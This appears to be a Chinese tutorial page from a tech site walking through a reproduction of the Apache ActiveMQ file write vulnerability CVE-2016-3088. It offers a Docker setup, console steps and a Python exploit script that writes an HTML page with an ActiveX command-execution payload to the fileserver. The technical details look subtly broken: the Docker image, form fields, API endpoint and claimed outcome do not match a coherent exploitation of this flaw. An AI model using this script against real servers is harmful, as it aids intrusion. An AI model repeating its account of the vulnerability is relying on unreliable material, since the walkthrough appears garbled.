Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:

漏洞介绍

Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。

漏洞编号:CVE-2016-3088
漏洞评级:高危

环境搭建

首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:

docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis

Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/

复现过程

示例一

接下来,我们使用两种方式来复现该漏洞。

首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。

  1. 访问链接:http://127.0.0.1:8161/admin/queues.jsp
  2. 点击页面上方"Send"按钮,进入新页面。
  3. 在页面下方的消息编辑框中,输入以下内容:
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
    new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
    <button onclick="test()">Click me</button>
</body>
</html>
  1. 在页面下方的"Queue"下拉框中选择自己想要的队列,然后点击"Send"按钮。

此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/
  2. 在页面下方的"File Name"输入框中输入想要写入的文件名,例如test.html。
  3. 在"File Contents"输入框中保持原有内容不变。
  4. 点击"Submit"按钮。

此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/test.html

此时,我们成功访问到了包含可执行代码的文件,攻击成功。

示例二

另一种方式是使用Python脚本来实现漏洞的利用。

  1. 首先需要安装Python的Requests库。使用以下命令安装:
pip install requests
  1. 然后编写以下脚本:
import requests

activemq_host = 'http://127.0.0.1:8161/'

def send_message_to_queue(queue_name, message):
    url = activemq_host + 'api/message/' + queue_name
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = 'body=' + message
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Send message failed.')
        exit()

def write_file(file_path, file_content):
    url = activemq_host + 'fileserver/'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = {
        'fileName': file_path,
        'fileContents': file_content
    }
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Write file failed.')
        exit()

if __name__ == '__main__':
    queue_name = 'test'
    message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
    file_path = 'test.html'
    write_file(file_path, message)
    send_message_to_queue(queue_name, message)
  1. 运行脚本,可以看到脚本将包含可执行代码的消息发送到名为test的队列,并将消息写入到test.html文件中。

以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • Mybatis三种批量插入数据的方式

    Sure! 首先,我们先了解一下 Mybatis 中三种批量插入数据的方式: 1.基于 statement 的方式2.基于 batch 的方式3.基于 foreach 标签的方式 下面我将详细讲解这三种方式的过程和示例: 基于 statement 的方式 创建一个包含多个 insert 语句的 sql 文件,例如 insert_test.sql 文件如下: …

    Java 2023年5月20日
    00
  • SQL Server 2008 连接JDBC详细图文教程

    SQL Server 2008 连接JDBC详细图文教程 1. 下载驱动程序 在连接 SQL Server 2008 数据库之前,需要先下载并安装相应的 JDBC 驱动程序。可通过以下步骤下载: 进入 Microsoft 官网下载页面; 选择适用于 Java 的 Microsoft JDBC 驱动器版本; 点击“下载”按钮开始下载。 2. 安装驱动程序 下载…

    Java 2023年6月16日
    00
  • 详解如何在项目中应用SpringSecurity权限控制

    一、Spring Security介绍 Spring Security是为Java应用程序提供身份验证和授权框架的安全框架。它是基于Spring框架构建的,并为REST API,SOAP服务和Web应用程序提供安全性。通过在应用程序中提供针对身份验证和授权的支持,Spring Security可以有效地确保应用程序的安全性。 二、添加Spring Secur…

    Java 2023年6月3日
    00
  • 详解java自定义类

    详解Java自定义类 在Java中,我们可以使用自定义类创建对象并使用。这些对象可以有自己的属性和方法。 创建一个Java自定义类 创建一个Java自定义类需要遵循以下步骤: 用 class 关键字定义类名。类名必须以大写字母开头,遵循驼峰命名法。 在类中定义属性。属性可以是任何数据类型,包括用户自定义类型。属性定义应该在方法之前。 在类中定义方法。方法是可…

    Java 2023年5月20日
    00
  • servlet+JSP+mysql实现文件上传的方法

    实现文件上传功能需要前端页面、服务端servlet程序以及后台mysql数据库的支持。下面是使用servlet+JSP+mysql实现文件上传的完整攻略。 前端页面 首先,我们需要在前端页面上添加文件上传的表单,通过提交表单将文件传输到服务端。此处提供一段基本的表单代码: <form method="post" enctype=&q…

    Java 2023年6月15日
    00
  • IntelliJ IDEA中Scala、sbt、maven配置教程

    IntelliJ IDEA中Scala、sbt、maven配置教程 简介 IntelliJ IDEA是一款非常强大的IDE,可以支持多种编程语言。在其中配置Scala、sbt、maven,可以为Scala语言的开发提供较好的支持。 本文将详细讲解在IntelliJ IDEA中配置Scala、sbt、maven的过程。 Scala配置 安装Scala插件 在I…

    Java 2023年5月19日
    00
  • JDBC实现Mysql自动重连机制的方法详解

    JDBC实现Mysql自动重连机制的方法详解 在使用JDBC连接Mysql的过程中,有时出现网络中断、数据库宕机等现象,导致连接失效,而我们希望在这种情况下能够自动进行重连,以保证应用程序的稳定性。本文将分享如何使用JDBC实现Mysql自动重连机制。 实现思路 JDBC连接Mysql的过程中,可以借助于DataSource接口来创建和管理数据库连接,而Da…

    Java 2023年6月16日
    00
  • JAVA+Struts2获取服务器地址的方法

    要获取服务器地址,有几种情况可以考虑: 获取请求的完整URL Struts2可以通过HttpServletRequest的getRequestURL方法获取当前请求URL,包括协议,主机名,端口和路径。在Action类中可以这样获取: import javax.servlet.http.HttpServletRequest; import com.opens…

    Java 2023年5月20日
    00
合作推广
合作推广
分享本页
返回顶部